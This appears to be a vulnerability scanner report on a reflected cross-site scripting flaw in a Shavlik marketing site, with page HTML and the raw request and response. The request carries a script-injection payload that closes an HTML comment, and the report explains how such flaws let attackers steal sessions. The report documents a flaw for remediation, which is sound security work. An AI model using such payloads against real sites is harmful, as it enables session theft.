                                                               <option value="102">Israel</option>
                                                               <option value="103">Italy</option>
                                                               <option value="104">Jamaica</option>
                                                               <option value="105">Jan Mayen</option>
                                                               <option value="106">Japan</option>
                                                               <option value="107">Jersey</option>

                                                               <option value="108">Jordan</option>
                                                               <option value="109">Kazakhstan</option>
                                                               <option value="110">Kenya Coast Republic</option>
                                                               <option value="111">Kiribati</option>
                                                               <option value="112">Korea, North</option>
                                                               <option value="113">Korea, South</option>

                                                               <option value="114">Kuwait</option>
                                                               <option value="115">Kyrgyzstan</option>
                                                               <option value="116">Laos</option>
                                                               <option value="117">Latvia</option>
                                                               <option value="118">Lebanon</option>
                                                               <option value="119">Liechtenstein</option>

                                                               <option value="120">Lithuania</option>
                                                               <option value="121">Luxembourg</option>
                                                               <option value="122">Macau</option>
                                                               <option value="123">Macedonia</option>
                                                               <option value="124">Madagascar</option>
                                                               <option value="125">Malawi</option>

                                                               <option value="126">Malaysia</option>
                                                               <option value="127">Maldives</option>
                                                               <option value="128">Mali</option>
                                                               <option value="129">Malta</option>
                                                               <option value="130">Marshall Islands</option>
                                                               <option value="131">Martinique</option>

                                                               <option value="132">Mauritania</option>
                                                               <option value="133">Mauritius</option>
                                                               <option value="134">Mayotte</option>
                                                               <option value="135">Mexico</option>
                                                               <option value="136">Moldova</option>
                                                               <option value="137">Monaco</option>

                                                               <option value="138">Mongolia</option>
                                                               <option value="139">Montserrat</option>
                                                               <option value="140">Morocco</option>
                                                               <option value="141">Mozambique</option>
                                                               <option value="142">Namibia</option>
                                                               <option value="143">Nauru</option>

                                                               <option value="144">Nepal</option>
                                                               <option value="145">Netherlands</option>
                                                               <option value="146">Netherlands Antilles </option>
                                                               <option value="147">New Caledonia</option>
                                                               <option value="148">New Zealand</option>
                                                               <option value="149">Nicaragua</option>

                                                               <option value="150">Niger</option>
                                                               <option value="151">Nigeria</option>
                                                               <option value="152">Niue</option>
                                                               <option value="153">Norway</option>
                                                               <option value="154">Oman</option>
                                                               <option value="155">Pakistan</option>

                                                               <option value="156">Palau</option>
                                                               <option value="157">Panama</option>
                                                               <option value="158">Papua New Guinea</option>
                                                               <option value="159">Paraguay</option>
                                                               <option value="160">Peru</option>
                                                               <option value="161">Philippines</option>

                                                               <option value="162">Poland</option>
                                                               <option value="163">Portugal</option>
                                                               <option value="164">Puerto Rico</option>
                                                               <option value="165">Qatar</option>
                                                               <option value="166">Romania</option>
                                                               <option value="167">Russian Federation </option>

                                                               <option value="168">Rwanda</option>
                                                               <option value="169">Saint Helena</option>
                                                               <option value="170">Saint Kitts-Nevis</option>
                                                               <option value="171">Saint Lucia</option>
                                                               <option value="172">Saint Pierre and Miquelon </option>
                                                               <option value="173">Saint Vincent and the Grenadines </option>

                                                               <option value="174">San Marino</option>
                                                               <option value="175">Saudi Arabia</option>
                                                               <option value="176">Senegal</option>
                                                               <option value="177">Seychelles</option>
                                                               <option value="178">Sierra Leone</option>
                                                               <option value="179">Singapore</option>

                                                               <option value="180">Slovakia</option>
                                                               <option value="181">Slovenia</option>
                                                               <option value="182">Solomon Islands</option>
                                                               <option value="183">Somalia</option>
                                                               <option value="184">South Africa</option>
                                                               <option value="185">Spain</option>

                                                               <option value="186">Sri Lanka</option>
                                                               <option value="187">Sudan</option>
                                                               <option value="188">Suriname</option>
                                                               <option value="189">Svalbard</option>
                                                               <option value="190">Swaziland</option>
                                                               <option value="191">Sweden</option>

                                                               <option value="192">Switzerland</option>
                                                               <option value="193">Syria</option>
                                                               <option value="194">Tahiti</option>
                                                               <option value="195">Taiwan</option>
                                                               <option value="196">Tajikistan</option>
                                                               <option value="197">Tanzania</option>

                                                               <option value="198">Thailand</option>
                                                               <option value="199">Togo</option>
                                                               <option value="200">Tonga</option>
                                                               <option value="201">Trinidad and Tobago </option>
                                                               <option value="202">Tunisia</option>
                                                               <option value="203">Turkey</option>

                                                               <option value="204">Turkmenistan</option>
                                                               <option value="205">Turks and Caicos Islands </option>
                                                               <option value="206">Tuvalu</option>
                                                               <option value="207">Uganda</option>
                                                               <option value="208">Ukraine</option>
                                                               <option value="209">United Arab Emirates</option>

                                                               <option value="210">United Kingdom</option>
                                                               <option value="211">United States</option>
                                                               <option value="212">Uruguay</option>
                                                               <option value="213">Uzbekistan</option>
                                                               <option value="214">Vanuatu</option>
                                                               <option value="215">Vatican City State </option>

                                                               <option value="216">Venezuela</option>
                                                               <option value="217">Vietnam</option>
                                                               <option value="218">Virgin Islands (U.S.)</option>
                                                               <option value="219">Wallis and Futuna</option>
                                                               <option value="220">Western Sahara</option>
                                                               <option value="221">Western Samoa</option>

                                                               <option value="222">Yemen</option>
                                                               <option value="223">Yugoslavia</option>
                                                               <option value="224">Zambia</option>
                                                               <option value="225">Zimbabwe</option>

                                                           </select>
                                                            </td>
                                                            </tr>

                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblProvince" align="right"> Province/Region:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlProvinces" id="m_ddlProvinces" disabled="disabled" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="AB">Alberta</option>

                                                               <option value="BC">British Columbia</option>
                                                               <option value="MB">Manitoba</option>
                                                               <option value="NB">New Brunswick</option>
                                                               <option value="NL">Newfoundland and Labrador</option>
                                                               <option value="NT">Northwest Territories</option>
                                                               <option value="NS">Nova Scotia</option>

                                                               <option value="NU">Nunavut</option>
                                                               <option value="ON">Ontario</option>
                                                               <option value="PE">Prince Edward Island</option>
                                                               <option value="QC">Quebec</option>
                                                               <option value="SK">Saskatchewan</option>
                                                               <option value="YT">Yukon</option>

                                                           </select></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td align="right"><div id="divLblReferredBy" align="right">Referred
                                                            By:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlReferredBy" id="m_ddlReferredBy" style="width:175px;">
                                                               <option value="0">-select-</option>
                                                               <option value="1">VMware Go</option>

                                                               <option value="2">VMware</option>
                                                               <option value="3">Google</option>
                                                               <option value="4" selected="selected" >Bing</option>
                                                               <option value="5">Other search engine</option>
                                                               <option value="6">A colleague</option>
                                                               <option value="7">A friend</option>

                                                               <option value="8">Microsoft</option>
                                                               <option value="9">Past user</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblQ2" align="right">Company<br />Size: <span class="alert">*</span></div></td>

                                                            <td align="left"><select name="Q2" id="Q2" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="12">1-99 </option>
                                                               <option value="13">100-499</option>
                                                               <option value="14">500-999</option>
                                                               <option value="15">1000-4999</option>

                                                               <option value="16">5000+</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblNoOfComp" align="right"># of Computers:</div></td>
                                                            <td align="left"><input name="m_txtServers" type="text" maxlength="7" id="m_txtServers" type="text" name="m_txtServers" size="20" style="width:200px;" value="1" />

                                                            </td>
                                                            </tr>
                                                            <tr>
                                                            <td><div align="right">

                                                            </div></td>
                                                            <td align="left"></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ1" align="right">Which of the following best describes your organization?</div></td>
                                                            <td align="left"><select name="Q1" id="Q1" style="width:200px;">
                                                               <option value=""> -select-</option>
                                                               <option value="1">Financial</option>
                                                               <option value="3">Healthcare</option>
                                                               <option value="4">Services</option>

                                                               <option value="5">Manufacturing</option>
                                                               <option value="6">Federal Government</option>
                                                               <option value="7">State/Local Government </option>
                                                               <option value="8">Academic Institution</option>
                                                               <option value="9">Home User</option>
                                                               <option value="10">Reseller</option>

                                                               <option value="11" selected="selected">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblQ3" align="right">I am:</div></td>
                                                            <td align="left"><select name="Q3" id="Q3" style="width:200px;">
                                                               <option value=""> -select-</option>

                                                               <option selected="selected" value="17">Gathering Information</option>
                                                               <option value="18">Evaluating Solutions</option>
                                                               <option value="19">Writing a Proposal</option>
                                                               <option value="20">Ready to Purchase</option>

                                                           </select></td>
                                                            </tr>
                                                            

                                                            <tr>
                                                            <td><div id="divLblQ4" align="right">Job Title: *</div></td>
                                                            <td align="left"><select name="Q4" id="Q4" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="21">Administrator</option>
                                                               <option value="22">Auditor </option>

                                                               <option value="23">Consultant</option>
                                                               <option value="24">Management</option>
                                                               <option value="25">CXO</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ5" align="right">Today, I am a:</div></td>
                                                            <td align="left"><select name="Q5" id="Q5" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="26">Shavlik Customer</option>
                                                               <option value="27">Shavlik Partner</option>
                                                               <option value="28">Shavlik Reseller</option>

                                                               <option value="29">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td align="right"></td>
                                                            <td align="left">Which of our mailing lists would you like to sign up for:</td>
                                                            </tr>

                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="shavlikAnnounce" type="checkbox" name="shavlikAnnounce" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-announce.aspx" target="_blank">Shavlik Product Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">

                                                            <input id="shavlikXml" type="checkbox" name="shavlikXml" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-xml.aspx" target="_blank">Shavlik XML Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="patchManagement" type="checkbox" name="patchManagement" />
                                                            </div></td>

                                                            <td align="left"><a href="mail-list-patch-management-org.aspx" target="_blank">Patch Management Mailing List</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="remediator" type="checkbox" name="remediator" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-remediator.aspx" target="_blank">The Remediator Mailing List</a></td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td></td>
                                                            <td><input type="submit" name="btnSubmit" value="Submit" id="btnSubmit" onClick="return formCheck()" style="" />
                                                                   <span id="requiredText" style=""><br /><br />* Required Fields</span>
                                                                   </td>
                                                            </tr>
                                                            </table>



                                                           

                                                               


                                                           

                                                           


                                                           <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEW5AIC3bKtUQL5iYJ5Ao+6pzICv6qijQ4CkebzlA4ClJOCiwsCu8+N5w8C64bOoA0CpIbevg0CpIbavg0CpIa6vg0CpIbmvw0CpIaGvg0CpobCvg0CpobKvg0Cpoa+vg0Cp4byvg0Cp4b6vg0CoYbSvg0CoYbevg0CoobCvg0Cooayvg0Ck4aivg0CnIb+vg0CnIbevg0CnIbWvg0CnIbCvg0Cnoa6vg0Cnobivw0Cn4bCvg0CmIbyvg0CmIauvg0CmIb+vg0CmIbCvg0CmIaivg0CmIbWvg0CmIa6vg0CmIbKvg0CmIa+vg0CmYbyvg0CmYa2vg0CmYauvg0CmYamvg0CmYbSvg0CmYbivw0CmYb6vg0CmYb+vg0CmIaOvg0Cmoauvg0Cmobavg0CmoaGvg0Ci4aqvg0Ci4bCvg0Ci4aGvg0ClYaivg0Clob6vg0Clob+vg0Cl4bWvg0Cl4buvw0CkIa+vg0CkYa+vg0CkYaivg0CkYbCvg0CkobCvg0Ckoa2vg0Ckoaivg0Ckobivw0Cx93iggwCyLLIbALJsshsAsqyyGwCy7LIbALMsshsAs2yyGwCzrLIbALfsshsAtCyyGwCyLKIbwLIsoRvAsiygG8CyLK8bwLIsrhvAsiytG8CyLKwbwLIsqxvAsiy6GwCyLLkbALJsohvAsmyhG8CybKAbwLJsrxvAsmyuG8CybK0bwLJsrBvAsmyrG8CybLobALJsuRsAsqyiG8CyrKEbwLKsoBvAsqyvG8CyrK4bwLKsrRvAsqysG8CyrKsbwLKsuhsAsqy5GwCy7KIbwLLsoRvAsuygG8Cy7K8bwLLsrhvAsuytG8Cy7KwbwLLsqxvAsuy6GwCy7LkbALMsohvAsyyhG8CzLKAbwLMsrxvAsyyuG8CzLK0bwLMsrBvAsyyrG8CzLLobALMsuRsAs2yiG8CzbKEbwLNsoBvAs2yvG8CzbK4bwLNsrRvAs2ysG8CzbKsbwLNsuhsAs2y5GwCzrKIbwLOsoRvAs6ygG8CzrK8bwLOsrhvAs6ytG8CzrKwbwLOsqxvAs6y6GwCzrLkbALfsohvAt+yhG8C37KAbwLfsrxvAt+yuG8C37K0bwLfsrBvAt+yrG8C37LobALfsuRsAtCyiG8C0LKEbwLQsoBvAtCyvG8C0LK4bwLQsrRvAtCysG8C0LKsbwLQsuhsAtCy5GwC7vPvuAcCg8rJzQkCmN2r5gMCvbSE+wUC0o7mjQgC9+HApgICjPiiuwQCodO8zA4Clrn8kgYCq5DepwgC7vPruAcCg8rFzQkCmN2n5gMCvbSA+wUC0o7ijQgC9+H8pgICjPjeuwQCodO4zA4Clrn4kgYCq5DapwgC7vPnuAcCg8rBzQkCmN2j5gMCvbS8+wUC0o6ejAgC9+H4pgICjPjauwQCodO0zA4Clrn0kgYCq5DWpwgC7vPjuAcCg8r9zQkCmN3f5gMCvbS4+wUC0o6ajAgC9+H0pgICjPjWuwQCodOwzA4ClrnwkgYCq5DSpwgC7vOfuwcCg8r5zQkCmN3b5gMCvbS0+wUC0o6WjAgC9+HwpgICjPjSuwQCodOszA4ClrnskgYCq5DOpwgC7vObuwcCg8r1zQkCmN3X5gMCvbSw+wUC0o6SjAgC9+HspgICjPjOuwQCodOozA4ClrnokgYCq5DKpwgC7vOXuwcCg8rxzQkCmN3T5gMCvbSs+wUC0o6OjAgC9+HopgICjPjKuwQCodOkzA4ClrnkkgYCq5DGpwgC7vOTuwcCg8rtzQkCmN3P5gMCvbSo+wUC0o6KjAgC9+HkpgICjPjGuwQCodOgzA4ClrngkgYCq5DCpwgC7vPPuAcCg8qpzQkCmN2L5gMCvbTk+AUC0o7GjQgC9+GgpgICjPiCuwQCodOczA4ClrnckgYCq5C+pwgC7vPLuAcCg8qlzQkCmN2H5gMCvbTg+AUC0o7CjQgC9+HcpgICjPi+uwQCodOYzA4ClrnYkgYCq5C6pwgC7/PvuAcChMrJzQkCmd2r5gMCvrSE+wUC047mjQgC6OHApgICjfiiuwQCotO8zA4Cl7n8kgYCrJDepwgC7/PruAcChMrFzQkCmd2n5gMCvrSA+wUC047ijQgC6OH8pgICjfjeuwQCotO4zA4Cl7n4kgYCrJDapwgC7/PnuAcChMrBzQkCmd2j5gMCvrS8+wUC046ejAgC6OH4pgICw57B7gwCnPHjHgKd8d8eAqDx4x4CofHjHgKh8fseAqHxmx4CofGfHgKh8ZceAqLx8x4Cs/HXHgKs8d8eAq7x/x4CtPGbHgKen4PSCQKBn4PSCQKAn4PSCQKDn4PSCQKCn4PSCQKFn4PSCQKEn4PSCQKHn4PSCQKWn4PSCQKZn4PSCQL/gMgDAmAC4IA8AuCAOALggDQC4IAwAryryvkBAu/v5u0MAuCAzAMC4oDMAwLjgMwDAuSAzAMC5YDMAwLmgMwDAveAzAMC+IDMAwLggAwCYALv797tDALggBAC4IDUAwLggNgDAuGANALv79rtDALhgDwC4YA4AuGABAJhAuGADALv79btDALhgAQC4YAYAuGA3AMC4YDQAwLz0b+FBwKxwe2iCQKjrPWEAwLYm6z4CwLCi9reA61NEby+pc1nwwX0Z/nanIJXLeyW" />


                                                                                                           </form>
                                                                                                           
                                               </td>
                                           </tr>


                   </div>




               </div>

               <br / style="clear:both;">

               <div id=footer>
                   Shavlik Technologies, LLC | Privacy Policy | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: sales@shavlik.com
               </div>

            </div>
            <img src="images/SHAV_bottomBar.jpg">
   </div>

</body>
</html>

</html>

2. Cross-site scripting (reflected) previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/index.cfm

Issue detail

The value of the h request parameter is copied into an HTML comment. The payload f32d2--><script>alert(1)</script>ead7dc3c9d2 was submitted in the h parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

Request

GET /shavlik/index.cfm?m=1033&pg=697&h=0f32d2--><script>alert(1)</script>ead7dc3c9d2&hp=697 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 11:45:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=610691;expires=Wed, 13-Mar-2041 11:45:04 GMT;path=/
Set-Cookie: CFTOKEN=15960427;expires=Wed, 13-Mar-2041 11:45:04 GMT;path=/
Content-Type: text/html; charset=UTF-8


































<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe>
<iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>

<script type="text/javascript">

function formCheck() {

retValue = false;

if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55)
       {
       alert("Please enter your First Name, between 2 and 55 characters");
       }

else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55)
       {
       alert("Please enter your Last Name, between 2 and 55 characters");
       }

   else if(document.getElementById('m_txtEmail').value == "")
       {
       alert("Please enter your email address");
       }

   else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1)
       {
       alert("Please enter a valid email address");
       }

else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50)
       {
       alert("Please enter your Phone Number, at least 10 characters");
       }

   else if(document.getElementById('m_txtCompany').value == "")
       {
       alert("Please enter your Company Name");
       }
else if(document.getElementById('m_ddlStates').value == 0)
       {
       alert("Please Choose Your State");
       }
else if(document.getElementById('Q2').value == 0)
       {
       alert("Please Choose the size of your company");
       }
   else if(document.getElementById('Q4').value == 0)
       {
       alert("Please Choose your job title");
       }

else
   {
       sLN = document.getElementById('m_txtLastName').value;


        document.getElementById('DownloadInfo').action = '/shavlik/download.cfm?nFileID=0&pg=697';
        document.getElementById('DownloadInfo').target = 'regFrame2';
        document.getElementById('DownloadInfo').submit();

        document.getElementById('m_txtLastName').value += ' -O';

        if(document.getElementById('netchk').checked == 1)
        {

            document.getElementById('DownloadInfo').action = 'http://www.shavlik.com/pDownloadForm4.aspx';
            document.getElementById('DownloadInfo').target = 'regFrame';
            document.getElementById('DownloadInfo').submit();

        }

           document.getElementById('m_txtLastName').value = sLN;

           if(document.getElementById('netchk').checked == 1){
               sNET = document.getElementById('netchk').value = 1;
               }
           else
               {
               sNET = document.getElementById('netchk').value = 0;
               }

           if(document.getElementById('caseStudy').checked == 1)
               {
               sCASE = document.getElementById('caseStudy').value = 1;
               }
           else
               {
               sCASE = document.getElementById('caseStudy').value = 0;
               }

           if(document.getElementById('webinar').checked == 1)
               {
               sWEB = document.getElementById('webinar').value = 1;
               }
           else
               {
               sWEB = document.getElementById('webinar').value = 0;
               }

               retValue = true;

            sUrl = 'thank.cfm?bnetchk=' + sNET + '&bcaseStudy=' + sCASE + '&bwebinar=' + sWEB;

               Shadowbox.open({
           content: sUrl,
           player: "iframe",
           width: 500,
               height: 400
           });



       }

return retValue;
}

</script>






































       
       <script>alert(1)</script>ead7dc3c9d2|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style5.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>





























































































































































       <body>
   <div id="wrapper">
           <div style="background-image:url('images/SHAV_topBar.jpg'); background-repeat:no-repeat; height:30px;"></div>

           <div id="container">

               <div id="logo">
                   <a href="index.cfm?pg=374" target="_blank"><img src="images/SHAV_INT_downloadForm_btn.jpg" style="border:none; float:right; margin-right:20px;"></a>
               </div>


               <div id="topContainer">
                   <img src="images/Shav_LP_serious_safe.png" style="margin:-25px 0 -20px 65px; position:absolute;">

                   <div id="content">
                       <h1 style="font-size:43px; margin-left:0;">It's 360.. Protection, 24/7</h1>
                       <img src="images/SHAV_LP_patch_logo.png">

                       <p class="contentCopy">
                           <strong>NetChk..</strong> Protect is the comprehensive agentless patch management system designed to meet today...s most pressing IT challenges. NetChk.. Protect simplifies the complexity of IT management by automating patching ... for both your operating system and for third-party applications ... so you...re protected from every angle.
                           <br /><br />
                           In less than 30 minutes, <strong>NetChk..</strong> Protect will be up and running, detecting and deploying missing patches.
                           <br /><br />
                           <strong>NetChk..</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security.
                            </p>
                   </div>
                   <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div>
               </div>


               <div id="bottomContainer">

                   <div id="leftBottom">
                       <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>

                       <h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3>
                       <p class="bottomCopy">NetChk.. Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>

                       <h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>

<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>

<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;">
                           <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li>
                           <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li>
                           <li><a href="index.cfm?pg=701">Centralized Power Management</a></li>
                           <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li>
                       </ul>
                   </div>

                   <div id="middleBottom">
                       <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>

                       <img src="images/Shav_LP_serious_piggyBank.jpg" style="padding-top:10px;">
                   </div>

                   
                   <div id="rightBottom">


       <tr>
                                       <td>


                                                                                                            <form name="DownloadInfo" method="post" action="http://www.shavlik.com/pDownloadForm4.aspx" id="DownloadInfo" style="text-align: center;" target="regFrame">

                                                                                                           <p id="formHeader">Download a FREE Trial Today</p>

                       <p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik...s NetChk.. Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>

<div style="display:none;">
                                                        <input type="checkbox" name="caseStudy" id="caseStudy" value="1">

                                                           <input type="checkbox" name="webinar" id="webinar" value="1">

                                                           <input type="checkbox" name="netchk" id="netchk" value="1" checked>
                                                       </div>

                                                                                                           <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
                                                           <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
                                                           <input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />


                                                           

                                                           




<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTYwMjE4NTY4NA8WAh4McmVmZXJyaW5nVVJMBSVodHRwOi8vd3d3LnNoYXZsaWsuY29tL3N0YXJ0LW5vdy5hc3B4FgJmD2QWBAI5DxBkZBYBZmQCPw8QZGQWAWZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQ9zaGF2bGlrQW5ub3VuY2UFCnNoYXZsaWtYbWwFD3BhdGNoTWFuYWdlbWVudAUKcmVtZWRpYXRvct++OIgVp3OZ+ALV5LJOZtEO1rH0" />


                                                           


                                                            
                                                            <table style="" id="formTable" cellpadding="5" cellspacing="0" border="0" align="left" class="copy">
                                                            <tr valign="top">
                                                            <td colspan="2"><div id="m_vsValidationSummary" class="form_error" style="color:Red;display:none;">

                                                           
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblFirstName" align="right">First Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtFirstName" type="text" maxlength="50" id="m_txtFirstName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblLastName" align="right">Last Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtLastName" type="text" maxlength="50" id="m_txtLastName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblEmail" align="right">Email:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtEmail" type="text" maxlength="50" id="m_txtEmail" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblPhone" align="right">Phone:<span class="alert">*</span></div></td>

